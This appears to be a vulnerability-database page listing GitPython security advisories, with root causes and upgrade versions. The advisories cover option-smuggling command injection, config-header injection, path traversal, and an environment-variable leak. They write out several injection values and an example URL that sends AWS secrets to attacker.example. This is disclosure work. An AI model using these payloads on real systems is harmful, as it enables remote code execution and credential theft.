Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
44 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clonefrom() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.createremote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polishurl() with the default expandvars=True. A URL such as http://attacker.example/${AWSSECRETACCESSKEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. Root Cause Fix commit 8ac5a305 added an expandvars parameter to Git.polishurl() (default True) and used expandvars=False only in Repo.clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not…
Recommended action: Upgrade to 3.1.55 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
GitPython's checkunsafeoptions guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clonefrom, fetch/pull/push, lsremote, itercommits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allowunsafeoptions=False configuration this yields arbitrary command execution via --upload-pack. Root Cause The guard builds its candidate option list from kwarg KEYS only: optioncandidates([], {"n":"--upload-pack=<cmd"}) returns ['-n'] (cmd.py:1042-1046 derives the candidate from the key, never the value). -n is not on the denylist, so checkunsafeoptions passes. But transformkwarg('n', value, splitsinglecharoptions=True) (cmd.py:1600-1606) emits two argv tokens ['-n', '--upload-pack=<cmd']. git then parses the second token as --upload-pack and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. Impact…
Recommended action: Upgrade to 3.1.54 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
GitPython's unsafegitcloneoptions denylist omits --template. git clone --template=<dir copies <dir/hooks/ into the new repository and runs them (post-checkout fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default allowunsafeoptions=False configuration. Root Cause base.py:145-152 defines unsafegitcloneoptions = ["--upload-pack","-u","--config","-c"] — --template is absent. The guard candidate ['--template'] passes checkunsafeoptions (verified). git copies the hook directory and executes post-checkout at checkout time. git's protocol.allow/GITALLOWPROTOCOL do not gate --template; the incomplete denylist is the only defense. Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, /tmp, or attacker-writable network paths), reflected as AC:H. Proof of…
Recommended action: Upgrade to 3.1.54 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Diffable.diff() forwards kwargs straight into diff/difftree with no checkunsafeoptions guard. Diffable is mixed into Commit, Tree, IndexFile, and Submodule, giving a broad surface. git diff --output=<path writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. Root Cause diff.py:188-283 builds and runs the diff command with no checkunsafeoptions anywhere in the method (grep-confirmed). Additionally diff.py:265 does args.insert(0, other), placing the caller-supplied other ref BEFORE the -- separator, so a value of --output=/path is parsed by git as an option — a value-only control path requiring no kwarg key. Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. ~/.ssh/authorizedkeys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. Proof of Concept Attack Chain 1. Entry…
Recommended action: Upgrade to 3.1.54 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias., core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection). This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line…
Recommended action: Upgrade to 3.1.53 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Repo.clonefrom() passes the caller-supplied remote URL through Git.polishurl(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clonefrom() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWSSECRETACCESSKEY or GITHUBTOKEN with no precondition beyond the ability to submit a clone URL. Details Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.…
Recommended action: Upgrade to 3.1.52 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.checkunsafeoptions() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clonefrom, everything else who build a git argv from caller values just go through, no check, three examples Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, path, kwargs), the treeish is after the --, but the kwargs get dashify by transformkwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd"} give git archive --remote=. --exec=<cmd -- <rev, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.lsremote(url, uploadpack="<cmd"), same builder, same result, it's exactly the kwarg gap…
Recommended action: Upgrade to 3.1.51 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Command injection via long-option prefix abbreviation bypassing checkunsafeoptions (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) Reporter: hackkim Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allowunsafeoptions=True. The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like uploadp canonicalizes to upload-p, misses the…
Recommended action: Upgrade to 3.1.51 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
GitPython version 3.1.50 blocks unsafe git clone options such as --upload-pack, -u, --config, and -c unless callers explicitly pass allowunsafeoptions=True. However, the default unsafe-option gate does not recognize joined short-option forms such as -u/path/to/helper. Git itself accepts -u<upload-pack as the short form of --upload-pack=<upload-pack. As a result, Repo.clonefrom(..., multioptions=["-u<helper"], allowunsafeoptions=False) can execute the helper command even though the equivalent long option is blocked. Affected package: - Ecosystem: PyPI - Package: GitPython - Confirmed affected version: 3.1.50 - Repository: gitpython-developers/GitPython - Current PyPI version during triage: 3.1.50 Relevant behavior: - Repo.unsafegitcloneoptions correctly lists --upload-pack, -u, --config, and -c as unsafe clone options. - Repo.clone() splits multioptions with shlex.split(" ".join(multioptions)) and then calls Git.checkunsafeoptions(...). - canonicalizeoptionname("-u/path/to/helper")…
Recommended action: Upgrade to 3.1.51 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of setvalue(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
Recommended action: Upgrade to 3.1.50 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
GitConfigParser.setvalue() passes values to Python's configparser without validating for newlines. GitPython's own write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration. This was found while auditing MLRun's project.push() method, which passes authorname and authoremail directly to configwriter().setvalue() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in…
Recommended action: Upgrade to 3.1.49 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
🧾 Summary A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. --- 📦 Affected Versions Affected: <= 3.1.46 and current main (3.1.47 in local checkout) --- 🧠 Details Vulnerability Type Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion --- Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. SymbolicReference.checkrefnamevalid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.setreference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository…
Recommended action: Upgrade to 3.1.48 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs uploadpack and receivepack bypass that check. If an application passes attacker-controlled kwargs into Repo.clonefrom(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allowunsafeoptions is left at its default value of False. Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe. - git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - Repo.clonefrom() checks list(kwargs.keys()) in git/repo/base.py:1387-1390 - Remote.fetch() checks list(kwargs.keys()) in…
Recommended action: Upgrade to 3.1.47 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
clone() validates multioptions as the original list, then executes shlex.split(" ".join(multioptions)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. Details The vulnerable code is in git/repo/base.py line 1383: Then validation runs on the original list at line 1390: Then execution uses the transformed result at line 1392: The check at git/cmd.py line 959 uses startswith: "--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git. Also affects Submodule.update() via clonemultioptions. PoC Output: Impact Any application passing user input to multioptions in clonefrom(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir inside a string starting with a safe…
Recommended action: Upgrade to 3.1.47 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
This issue exists because of an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run git, as well as when it runs bash.exe to interpret hooks. If either of those features are used on Windows, a malicious git.exe or bash.exe may be run from an untrusted repository. Details Although GitPython often avoids executing programs found in an untrusted search path since 3.1.33, two situations remain where this still occurs. Either can allow arbitrary code execution under some circumstances. When a shell is used GitPython can be told to run git commands through a shell rather than as direct subprocesses, by passing shell=True to any method that accepts it, or by both setting Git.USESHELL = True and not passing shell=False. Then the Windows cmd.exe shell process performs the path search, and GitPython does not prevent that shell from finding and running git in the current directory. When GitPython runs git directly rather than…
Recommended action: Upgrade to 3.1.41 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
In order to resolve some git references, GitPython reads files from the .git directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the .git directory. This allows an attacker to make GitPython read any file from the system. Details This vulnerability is present in https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175 That code joins the base directory with a user given string without checking if the final path is located outside the base directory. I was able to exploit it from three places, but there may be more code paths that lead to it: https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L605 https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L620…
Recommended action: Upgrade to 3.1.37 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
When resolving a program, Python/Windows look for the current working directory, and after that the PATH environment (see big warning in https://docs.python.org/3/library/subprocess.html#popen-constructor). GitPython defaults to use the git command, if a user runs GitPython from a repo has a git.exe or git executable, that program will be run instead of the one in the user's PATH. Details This is more of a problem on how Python interacts with Windows systems, Linux and any other OS aren't affected by this. But probably people using GitPython usually run it from the CWD of a repo. The execution of the git command happens in https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/cmd.py#L277 https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/cmd.py#L983-L996 And there are other commands executed that should probably be aware of this problem. PoC On a Windows system, create a git.exe or…
Recommended action: Upgrade to 3.1.33 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
GitPython before 3.1.32 does not block insecure non-multi options in clone and clonefrom, making it vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. NOTE: this issue exists because of an incomplete fix for CVE-2022-24439.
Recommended action: Upgrade to 3.1.32 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.
Recommended action: Upgrade to 3.1.30 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.